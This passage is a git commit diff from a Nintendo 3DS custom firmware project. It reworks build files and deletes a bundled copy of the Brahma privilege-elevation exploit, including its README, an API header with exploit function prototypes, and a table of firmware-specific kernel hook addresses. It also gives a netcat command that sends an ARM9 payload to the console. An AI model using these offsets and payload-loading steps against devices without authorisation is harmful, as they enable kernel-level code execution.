Got rid of sysnand mode, add key gen code, new splash screen, autoboot, update fatfs, removed ninjhax/mset folder for CakeBrah/CakeHax, lots of minor changes.
This commit is contained in:
parent
42df009858
commit
6a2c30503d
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,7 +1,8 @@
|
|||||||
build.bat
|
build.bat
|
||||||
data/firmware.bin
|
data/firmware.bin
|
||||||
out
|
out
|
||||||
mset
|
CakeHax
|
||||||
|
CakeBrah
|
||||||
rnInstaller
|
rnInstaller
|
||||||
build
|
build
|
||||||
*.bin
|
*.bin
|
||||||
|
9
.gitmodules
vendored
9
.gitmodules
vendored
@ -1,3 +1,6 @@
|
|||||||
[submodule "mset"]
|
[submodule "CakeBrah"]
|
||||||
path = mset
|
path = CakeBrah
|
||||||
url = https://github.com/Reisyukaku/mset
|
url = https://github.com/mid-kid/CakeBrah
|
||||||
|
[submodule "CakeHax"]
|
||||||
|
path = CakeHax
|
||||||
|
url = https://github.com/mid-kid/CakeHax
|
||||||
|
1
CakeBrah
Submodule
1
CakeBrah
Submodule
@ -0,0 +1 @@
|
|||||||
|
Subproject commit aca4aa7d3b3d2d195788c0b2555b307fbac63a7f
|
1
CakeHax
Submodule
1
CakeHax
Submodule
@ -0,0 +1 @@
|
|||||||
|
Subproject commit 6b8fca0b37a370a605f76b34b133da91a0b40f5e
|
28
Makefile
28
Makefile
@ -12,18 +12,20 @@ ifneq ($(PYTHON_VER_MAJOR), 3)
|
|||||||
PYTHON3 := py -3
|
PYTHON3 := py -3
|
||||||
endif
|
endif
|
||||||
|
|
||||||
|
name := ReiNand
|
||||||
|
|
||||||
dir_source := source
|
dir_source := source
|
||||||
dir_data := data
|
dir_data := data
|
||||||
dir_build := build
|
dir_build := build
|
||||||
dir_mset := mset
|
dir_mset := CakeHax
|
||||||
dir_out := out
|
dir_out := out
|
||||||
dir_emu := emunand
|
dir_emu := emunand
|
||||||
dir_thread := thread
|
dir_thread := thread
|
||||||
dir_ninjhax := ninjhax
|
dir_ninjhax := CakeBrah
|
||||||
|
|
||||||
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
|
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
|
||||||
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
CFLAGS := -Wall -Wextra -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
||||||
FLAGS := dir_out=$(abspath $(dir_out))
|
FLAGS := name=$(name).dat dir_out=$(abspath $(dir_out)) ICON=$(abspath icon.png) --no-print-directory
|
||||||
|
|
||||||
objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
||||||
$(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \
|
$(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \
|
||||||
@ -34,7 +36,7 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
|||||||
all: launcher emunand thread ninjhax
|
all: launcher emunand thread ninjhax
|
||||||
|
|
||||||
.PHONY: launcher
|
.PHONY: launcher
|
||||||
launcher: $(dir_out)/ReiNand.dat
|
launcher: $(dir_out)/$(name).dat
|
||||||
|
|
||||||
.PHONY: emunand
|
.PHONY: emunand
|
||||||
emunand: $(dir_out)/rei/emunand/emunand.bin
|
emunand: $(dir_out)/rei/emunand/emunand.bin
|
||||||
@ -43,7 +45,7 @@ emunand: $(dir_out)/rei/emunand/emunand.bin
|
|||||||
thread: $(dir_out)/rei/thread/arm9.bin
|
thread: $(dir_out)/rei/thread/arm9.bin
|
||||||
|
|
||||||
.PHONY: ninjhax
|
.PHONY: ninjhax
|
||||||
ninjhax: $(dir_out)/3ds/ReiNand
|
ninjhax: $(dir_out)/3ds/$(name)
|
||||||
|
|
||||||
.PHONY: clean
|
.PHONY: clean
|
||||||
clean:
|
clean:
|
||||||
@ -51,16 +53,16 @@ clean:
|
|||||||
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
|
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
|
||||||
rm -rf $(dir_out) $(dir_build)
|
rm -rf $(dir_out) $(dir_build)
|
||||||
|
|
||||||
.PHONY: $(dir_out)/ReiNand.dat
|
.PHONY: $(dir_out)/$(name).dat
|
||||||
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/
|
$(dir_out)/$(name).dat: $(dir_build)/main.bin $(dir_out)/rei/
|
||||||
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
|
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
|
||||||
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144
|
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144
|
||||||
|
|
||||||
$(dir_out)/3ds/ReiNand:
|
$(dir_out)/3ds/$(name):
|
||||||
@mkdir -p "$(dir_out)/3ds/ReiNand"
|
@mkdir -p "$(dir_out)/3ds/$(name)"
|
||||||
@$(MAKE) -C $(dir_ninjhax)
|
@$(MAKE) $(FLAGS) -C $(dir_ninjhax)
|
||||||
@cp -av $(dir_ninjhax)/ReiNand.3dsx $@
|
@mv $(dir_out)/$(name).3dsx $@
|
||||||
@cp -av $(dir_ninjhax)/ReiNand.smdh $@
|
@mv $(dir_out)/$(name).smdh $@
|
||||||
|
|
||||||
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
|
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
|
||||||
@mkdir -p "$(dir_out)/rei"
|
@mkdir -p "$(dir_out)/rei"
|
||||||
|
@ -38,3 +38,5 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
|||||||
|
|
||||||
Me (Rei) for coding everything else.
|
Me (Rei) for coding everything else.
|
||||||
|
|
||||||
|
The community for your support and help!
|
||||||
|
|
BIN
data/splash.bin
BIN
data/splash.bin
Binary file not shown.
Before Width: | Height: | Size: 6.1 KiB After Width: | Height: | Size: 6.1 KiB |
1
mset
1
mset
@ -1 +0,0 @@
|
|||||||
Subproject commit 1a62ee6dea17b0fb88224259d420ca7026bd636d
|
|
6
ninjhax/.gitignore
vendored
6
ninjhax/.gitignore
vendored
@ -1,6 +0,0 @@
|
|||||||
*.elf
|
|
||||||
*.3dsx
|
|
||||||
*.smdh
|
|
||||||
|
|
||||||
build
|
|
||||||
output
|
|
3
ninjhax/.gitmodules
vendored
3
ninjhax/.gitmodules
vendored
@ -1,3 +0,0 @@
|
|||||||
[submodule "source/libkhax"]
|
|
||||||
path = source/libkhax
|
|
||||||
url = git://github.com/Myriachan/libkhax
|
|
179
ninjhax/Makefile
179
ninjhax/Makefile
@ -1,179 +0,0 @@
|
|||||||
#---------------------------------------------------------------------------------
|
|
||||||
.SUFFIXES:
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
ifeq ($(strip $(DEVKITARM)),)
|
|
||||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
|
||||||
endif
|
|
||||||
|
|
||||||
TOPDIR ?= $(CURDIR)
|
|
||||||
include $(DEVKITARM)/3ds_rules
|
|
||||||
|
|
||||||
# This should be set externally
|
|
||||||
name ?= reiNand.dat
|
|
||||||
filepath ?=
|
|
||||||
dir_out ?= $(CURDIR)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# TARGET is the name of the output
|
|
||||||
# BUILD is the directory where object files & intermediate files will be placed
|
|
||||||
# SOURCES is a list of directories containing source code
|
|
||||||
# DATA is a list of directories containing data files
|
|
||||||
# INCLUDES is a list of directories containing header files
|
|
||||||
#
|
|
||||||
# NO_SMDH: if set to anything, no SMDH file is generated.
|
|
||||||
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
|
||||||
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
|
||||||
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
|
||||||
# ICON is the filename of the icon (.png), relative to the project folder.
|
|
||||||
# If not set, it attempts to use one of the following (in this order):
|
|
||||||
# - <Project name>.png
|
|
||||||
# - icon.png
|
|
||||||
# - <libctru folder>/default_icon.png
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
TARGET := $(name:.dat=)
|
|
||||||
BUILD := build
|
|
||||||
SOURCES := source source/libkhax
|
|
||||||
DATA := data
|
|
||||||
INCLUDES := include
|
|
||||||
APP_TITLE ?= $(name:.dat=)
|
|
||||||
APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
|
|
||||||
APP_AUTHOR ?= patois
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# options for code generation
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
|
||||||
|
|
||||||
CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
|
|
||||||
-fomit-frame-pointer -ffast-math \
|
|
||||||
$(ARCH)
|
|
||||||
|
|
||||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
|
|
||||||
|
|
||||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
|
||||||
|
|
||||||
ASFLAGS := -g $(ARCH)
|
|
||||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
|
||||||
|
|
||||||
LIBS := -lctru -lm
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# list of directories containing libraries, this must be the top level containing
|
|
||||||
# include and lib
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
LIBDIRS := $(CTRULIB)
|
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# no real need to edit anything past this point unless you need to add additional
|
|
||||||
# rules for different file extensions
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
export OUTPUT := $(dir_out)/$(TARGET)
|
|
||||||
export TOPDIR := $(CURDIR)
|
|
||||||
|
|
||||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
|
||||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
|
||||||
|
|
||||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
|
||||||
|
|
||||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
|
||||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
|
||||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
|
||||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# use CXX for linking C++ projects, CC for standard C
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifeq ($(strip $(CPPFILES)),)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
export LD := $(CC)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
else
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
export LD := $(CXX)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
endif
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
|
||||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
|
||||||
|
|
||||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
|
||||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
|
||||||
-I$(CURDIR)/$(BUILD)
|
|
||||||
|
|
||||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
|
||||||
|
|
||||||
ifeq ($(strip $(ICON)),)
|
|
||||||
icons := $(wildcard *.png)
|
|
||||||
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
|
||||||
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
|
||||||
else
|
|
||||||
ifneq (,$(findstring icon.png,$(icons)))
|
|
||||||
export APP_ICON := $(TOPDIR)/icon.png
|
|
||||||
endif
|
|
||||||
endif
|
|
||||||
else
|
|
||||||
export APP_ICON := $(ICON)
|
|
||||||
endif
|
|
||||||
|
|
||||||
.PHONY: $(BUILD) clean all
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
all: $(BUILD)
|
|
||||||
|
|
||||||
$(BUILD):
|
|
||||||
@echo $(SFILES)
|
|
||||||
@[ -d $@ ] || mkdir -p $@
|
|
||||||
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
clean:
|
|
||||||
@echo clean ...
|
|
||||||
@rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
|
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
else
|
|
||||||
|
|
||||||
DEPENDS := $(OFILES:.o=.d)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# main targets
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifeq ($(strip $(NO_SMDH)),)
|
|
||||||
.PHONY: all
|
|
||||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
|
||||||
endif
|
|
||||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
|
||||||
$(OUTPUT).3dsx : $(OFILES)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# you need a rule like this for each extension you use as binary data
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
%.bin.o : %.bin
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
@echo $(notdir $<)
|
|
||||||
@$(bin2o)
|
|
||||||
|
|
||||||
# WARNING: This is not the right way to do this! TODO: Do it right!
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
%.vsh.o : %.vsh
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
@echo $(notdir $<)
|
|
||||||
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
|
||||||
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
|
||||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@rm ../$(notdir $<).shbin
|
|
||||||
|
|
||||||
-include $(DEPENDS)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------------
|
|
||||||
endif
|
|
||||||
#---------------------------------------------------------------------------------------
|
|
@ -1,121 +0,0 @@
|
|||||||
Brahma - Privilege elevation exploit for the Nintendo 3DS
|
|
||||||
=========================================================
|
|
||||||
|
|
||||||
WTF is 'Brahma'?
|
|
||||||
----------------
|
|
||||||
Brahma is a development tool for the Nintendo 3DS platform that enables
|
|
||||||
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
|
|
||||||
It does so by exploiting two vulnerabilities in order to elevate its
|
|
||||||
privileges.
|
|
||||||
|
|
||||||
The exploits utilized by Brahma are based on "commercial" exploits that
|
|
||||||
have been reverse engineered. Brahma has been developed with the goal of
|
|
||||||
understanding and documenting the nature of the exploits in mind and has
|
|
||||||
been put further effort into during its development process in order to
|
|
||||||
achieve reliable exploitation and stability.
|
|
||||||
|
|
||||||
Brahma comes with full source code that is based on libctru and requires
|
|
||||||
existing user mode code execution privileges (Ninjhax), and can then be
|
|
||||||
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
|
|
||||||
|
|
||||||
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
|
|
||||||
with four heads and arms (heh... so funny :\).
|
|
||||||
|
|
||||||
How to build:
|
|
||||||
-------------
|
|
||||||
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
|
|
||||||
- Open a shell and run make
|
|
||||||
|
|
||||||
How to use:
|
|
||||||
-----------
|
|
||||||
- Prebuilt binary releases are available at
|
|
||||||
https://github.com/patois/Brahma/releases
|
|
||||||
- Run brahma.3dsx (using homebrew launcher)
|
|
||||||
- By default, the exploit will attempt to gain ARM11 kernel privileges before
|
|
||||||
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
|
|
||||||
|
|
||||||
"Hotkeys" (press and hold during startup of BRAHMA):
|
|
||||||
----------------------------------------------------
|
|
||||||
|
|
||||||
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
|
|
||||||
and executes it
|
|
||||||
|
|
||||||
* RIGHT : Performs a reboot / firm launch of the 3DS system
|
|
||||||
|
|
||||||
* NONE : Displays a menu which allows payload files to be received via
|
|
||||||
a WiFi network connection or loaded from the '/brahma' folder
|
|
||||||
located in the root folder of the SD card
|
|
||||||
|
|
||||||
In order to send payload files to the 3DS via a network connection,
|
|
||||||
the Python script '/tools/client.py' can be used. Alternatively, netcat
|
|
||||||
does the job as well.
|
|
||||||
|
|
||||||
Syntax:
|
|
||||||
-------
|
|
||||||
client.py: 'python client.py <3DS ip> <filename>'
|
|
||||||
netcat: 'nc <3DS ip> 80 < <filename>'
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
---------
|
|
||||||
client.py: 'python client.py 10.0.0.5 payload.bin'
|
|
||||||
netcat: 'nc 10.0.0.5 80 < payload.bin'
|
|
||||||
|
|
||||||
Example programs that run in privileged ARM9 mode can be downloaded from
|
|
||||||
https://github.com/patois/3DSProjects/tree/master/Brahma/
|
|
||||||
|
|
||||||
A memory dumper (3DSDevTools) for Brahma is available at
|
|
||||||
https://github.com/patois/3DSDevTools/releases
|
|
||||||
|
|
||||||
There is also a port of Decrypt9 by archshift which can be loaded using
|
|
||||||
bootstrap or Brahma (use 'make' to build the project, then use one of the
|
|
||||||
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
|
|
||||||
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
|
|
||||||
|
|
||||||
Developers:
|
|
||||||
-----------
|
|
||||||
Brahma and its exploits which enable privileged ARM9 code execution
|
|
||||||
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
|
|
||||||
|
|
||||||
- call brahma_init() - initializes Brahma
|
|
||||||
- call load_arm9_payload() - loads a payload binary from disk
|
|
||||||
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
|
|
||||||
- (please check the source code for more features and options)
|
|
||||||
|
|
||||||
ARM9 payload must consist of valid ARM9 executable code and will be
|
|
||||||
mapped to physical address 0x23F00000 during run-time. Its code should begin
|
|
||||||
with a branch instruction at offset 0 and a 'placeholder' for a u32
|
|
||||||
variable at offset 4, which will be filled by Brahma with a backup of
|
|
||||||
the original ARM9 entry point of the FIRM header during runtime.
|
|
||||||
|
|
||||||
Brahma is written in a way that allows developers of payload binaries
|
|
||||||
to easily return control to the 3DS' firmware by simply returning from
|
|
||||||
the main() function of the payload.
|
|
||||||
|
|
||||||
This allows reading and altering of memory contents, such as the mapped
|
|
||||||
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
|
|
||||||
processes running on the ARM11 core), for testing purposes, without requiring
|
|
||||||
any changes on the file system level.
|
|
||||||
|
|
||||||
Credits:
|
|
||||||
--------
|
|
||||||
- To 3dbrew.org and all its contributors for being such a great resource
|
|
||||||
- To whomever initially found the vulnerabilities and wrote the publicly
|
|
||||||
available exploit code
|
|
||||||
- To everybody who's been working on porting this exploit and its various
|
|
||||||
"bootstrap" branches to newer firmware versions and improving its stability
|
|
||||||
(in particular yifanlu, yuriks and shinyquagsire23)
|
|
||||||
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
|
|
||||||
|
|
||||||
Disclaimer:
|
|
||||||
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
|
|
||||||
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
|
|
||||||
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
|
||||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
||||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
|
||||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
|
|
||||||
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
|
|
||||||
OF SUCH DAMAGE.
|
|
||||||
|
|
||||||
(c) 2015, patois
|
|
@ -1,23 +0,0 @@
|
|||||||
CakeBrah
|
|
||||||
========
|
|
||||||
|
|
||||||
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
|
|
||||||
This means mostly setting the framebuffer offsets and mode right.
|
|
||||||
|
|
||||||
How to use this in your project
|
|
||||||
-------------------------------
|
|
||||||
|
|
||||||
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
|
|
||||||
No injection with dd is needed, as it loads the payload from your .dat file.
|
|
||||||
The different configuration flags are detailed below.
|
|
||||||
|
|
||||||
### Makefile options
|
|
||||||
|
|
||||||
Name |Default |Description
|
|
||||||
----------------|------------------------------------|-----------
|
|
||||||
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
|
|
||||||
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
|
|
||||||
filepath | |Path in the SD card where the .dat file is located.
|
|
||||||
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
|
|
||||||
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
|
|
||||||
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.
|
|
@ -1,27 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include "exploitdata.h"
|
|
||||||
|
|
||||||
u32 brahma_init (void);
|
|
||||||
u32 brahma_exit (void);
|
|
||||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
|
|
||||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
|
||||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
|
||||||
s32 map_arm9_payload (void);
|
|
||||||
s32 map_arm11_payload (void);
|
|
||||||
void exploit_arm9_race_condition (void);
|
|
||||||
s32 get_exploit_data (struct exploit_data *data);
|
|
||||||
s32 firm_reboot ();
|
|
||||||
|
|
||||||
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
|
|
||||||
|
|
||||||
#define BRAHMA_NETWORK_PORT 80
|
|
||||||
|
|
||||||
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
|
||||||
#define ARM_RET 0xE12FFF1E // BX LR
|
|
||||||
#define ARM_NOP 0xE1A00000 // NOP
|
|
||||||
|
|
||||||
extern void *arm11_start;
|
|
||||||
extern void *arm11_end;
|
|
||||||
extern void *arm9_start;
|
|
||||||
extern void *arm9_end;
|
|
@ -1,189 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#define SYS_MODEL_NONE 0
|
|
||||||
#define SYS_MODEL_OLD_3DS 1
|
|
||||||
#define SYS_MODEL_NEW_3DS 2
|
|
||||||
|
|
||||||
#define PA_EXC_HANDLER_BASE 0x1FFF4000
|
|
||||||
#define PA_FCRAM_BASE 0x20000000
|
|
||||||
#define OFFS_FCRAM_MAPPED_FIRM 0x04000000
|
|
||||||
#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000
|
|
||||||
#define OFFS_EXC_HANDLER_UNUSED 0xC80
|
|
||||||
#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM
|
|
||||||
#error ERRROR: Invalid ARM9 payload offset
|
|
||||||
#endif
|
|
||||||
#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD)
|
|
||||||
|
|
||||||
/* any changes to this structure must also be applied to
|
|
||||||
the data structure following the 'arm11_globals_start'
|
|
||||||
label of arm11.s */
|
|
||||||
struct arm11_shared_data {
|
|
||||||
u32 va_pdn_regs;
|
|
||||||
u32 va_pxi_regs;
|
|
||||||
u32 va_hook1_ret;
|
|
||||||
};
|
|
||||||
|
|
||||||
struct exploit_data {
|
|
||||||
|
|
||||||
u32 firm_version;
|
|
||||||
u32 sys_model; // mask
|
|
||||||
|
|
||||||
u32 va_patch_hook1;
|
|
||||||
u32 va_patch_hook2;
|
|
||||||
u32 va_hook1_ret;
|
|
||||||
|
|
||||||
u32 va_fcram_base;
|
|
||||||
u32 va_exc_handler_base_W;
|
|
||||||
u32 va_exc_handler_base_X;
|
|
||||||
u32 va_kernelsetstate;
|
|
||||||
|
|
||||||
u32 va_pdn_regs;
|
|
||||||
u32 va_pxi_regs;
|
|
||||||
};
|
|
||||||
|
|
||||||
// add all vulnerable systems below
|
|
||||||
static const struct exploit_data supported_systems[] = {
|
|
||||||
{
|
|
||||||
0x022E0000, // FIRM version
|
|
||||||
SYS_MODEL_NEW_3DS, // model
|
|
||||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
|
||||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
|
||||||
0xFFF28A58, // VA of return address from 1st hook
|
|
||||||
0xE0000000, // VA of FCRAM
|
|
||||||
0xDFFF4000, // VA of lower mapped exception handler base
|
|
||||||
0xFFFF0000, // VA of upper mapped exception handler base
|
|
||||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
|
||||||
0xFFFBE000, // VA PDN registers
|
|
||||||
0xFFFC0000 // VA PXI registers
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x022C0600, // FIRM version
|
|
||||||
SYS_MODEL_NEW_3DS, // model
|
|
||||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
|
||||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
|
||||||
0xFFF28A58, // VA of return address from 1st hook
|
|
||||||
0xE0000000, // VA of FCRAM
|
|
||||||
0xDFFF4000, // VA of lower mapped exception handler base
|
|
||||||
0xFFFF0000, // VA of upper mapped exception handler base
|
|
||||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
|
||||||
0xFFFBE000, // VA PDN registers
|
|
||||||
0xFFFC0000 // VA PXI registers
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02220000,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE4DD4,
|
|
||||||
0xEFFF497C,
|
|
||||||
0xFFF84DDC,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF748C4,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02230600,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE55BC,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF765C4,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64B94,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x022E0000,
|
|
||||||
SYS_MODEL_OLD_3DS,
|
|
||||||
0xDFFE59D0,
|
|
||||||
0xDFFF4974,
|
|
||||||
0xFFF279D8,
|
|
||||||
0xE0000000,
|
|
||||||
0xDFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF151C0,
|
|
||||||
0xFFFC2000,
|
|
||||||
0xFFFC4000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x022C0600,
|
|
||||||
SYS_MODEL_OLD_3DS,
|
|
||||||
0xDFFE4F28,
|
|
||||||
0xDFFF4974,
|
|
||||||
0xFFF66F30,
|
|
||||||
0xE0000000,
|
|
||||||
0xDFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF54BAC,
|
|
||||||
0xFFFBE000,
|
|
||||||
0xFFFC0000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02280000,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE5B30,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF76B38,
|
|
||||||
0xF0000000,
|
|
||||||
